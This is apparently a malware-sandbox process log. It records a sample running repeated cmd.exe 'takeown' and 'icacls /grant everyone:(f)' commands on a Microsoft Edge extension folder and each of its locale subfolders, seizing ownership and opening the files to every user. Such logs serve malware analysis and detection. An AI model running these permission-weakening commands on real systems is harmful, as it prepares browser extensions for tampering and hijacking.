- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0 && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0 /grant everyone:(f)
  2⤵
  PID:4468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales /grant everyone:(f)
  2⤵
  PID:3732
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales
    3⤵
    PID:3736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\af && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\af /grant everyone:(f)
  2⤵
  PID:744
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\af
    3⤵
    PID:4400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\am && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\am /grant everyone:(f)
  2⤵
  PID:184
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\am
    3⤵
    PID:3112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ar && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ar /grant everyone:(f)
  2⤵
  PID:1860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ar
    3⤵
    - Modifies file permissions
    PID:4220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\az && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\az /grant everyone:(f)
  2⤵
  PID:3688
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\az
    3⤵
    PID:3256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\be && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\be /grant everyone:(f)
  2⤵
  PID:456
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\be
    3⤵
    PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bg && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bg /grant everyone:(f)
  2⤵
  PID:2812
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bg
    3⤵
    - Modifies file permissions
    PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bn && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bn /grant everyone:(f)
  2⤵
  PID:408
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bn
    3⤵
    PID:3868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ca && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ca /grant everyone:(f)
  2⤵
  PID:2092
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ca
    3⤵
    PID:532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cs && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cs /grant everyone:(f)
  2⤵
  PID:2968
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cs
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cy && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cy /grant everyone:(f)
  2⤵
  PID:4800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cy
    3⤵
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\da && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\da /grant everyone:(f)
  2⤵
  PID:2376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\da
    3⤵
    PID:3924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\de && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\de /grant everyone:(f)
  2⤵
  PID:3916
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\de
    3⤵
    PID:4084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\el && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\el /grant everyone:(f)
  2⤵
  PID:3696
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\el
    3⤵
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en /grant everyone:(f)
  2⤵
  PID:944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en
    3⤵
    - Modifies file permissions
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_CA && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_CA /grant everyone:(f)
  2⤵
  PID:4460
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_CA
    3⤵
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_GB && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_GB /grant everyone:(f)
  2⤵
  PID:4704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_GB
    3⤵
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_US && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_US /grant everyone:(f)
  2⤵
  PID:4240
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_US
    3⤵
    PID:4788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es /grant everyone:(f)
  2⤵
  PID:1364
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es
    3⤵
    - Modifies file permissions
    PID:456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es_419 && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es_419 /grant everyone:(f)
  2⤵
  PID:2216
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es_419
    3⤵
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\et && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\et /grant everyone:(f)
  2⤵
  PID:3384
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\et
    3⤵
    PID:3144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\eu && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\eu /grant everyone:(f)
  2⤵
  PID:3516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\eu
    3⤵
    PID:656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fa && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fa /grant everyone:(f)
  2⤵
  PID:4892
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fa
    3⤵
    PID:696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fi && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fi /grant everyone:(f)
  2⤵
  PID:3548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fi
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fil && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fil /grant everyone:(f)
  2⤵
  PID:4992
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fil
    3⤵
    PID:852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr /grant everyone:(f)
  2⤵
  PID:3860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr
    3⤵
    PID:840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr_CA && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr_CA /grant everyone:(f)
  2⤵
  PID:4484
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr_CA
    3⤵
    PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gl && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gl /grant everyone:(f)
  2⤵
  PID:3696
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gl
    3⤵
    PID:744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gu && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gu /grant everyone:(f)
  2⤵
  PID:872
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gu
    3⤵
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hi && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hi /grant everyone:(f)
  2⤵
  PID:3080
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hi
    3⤵
    PID:1208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hr && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hr /grant everyone:(f)
  2⤵
  PID:3656
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hr
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hu && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hu /grant everyone:(f)
  2⤵
  PID:2392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hu
    3⤵
    PID:3360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hy && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hy /grant everyone:(f)
  2⤵
  PID:1588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hy
    3⤵
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\id && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\id /grant everyone:(f)
  2⤵
  PID:2216
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\id
    3⤵
    PID:1100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\is && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\is /grant everyone:(f)
  2⤵
  PID:4852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\is
    3⤵
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\it && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\it /grant everyone:(f)
  2⤵
  PID:4888
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\it
    3⤵
    PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\iw && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\iw /grant everyone:(f)
  2⤵
  PID:2832
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\iw
    3⤵
    PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ja && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ja /grant everyone:(f)
  2⤵
  PID:752
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ja
    3⤵
    PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ka && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ka /grant everyone:(f)
  2⤵
  PID:4288
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ka
    3⤵
    PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kk && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kk /grant everyone:(f)
  2⤵
  PID:4296
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kk
    3⤵
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\km && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\km /grant everyone:(f)
  2⤵
  PID:4048
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\km
    3⤵
    PID:2916
- C:\Windows\System32\cmd.exe
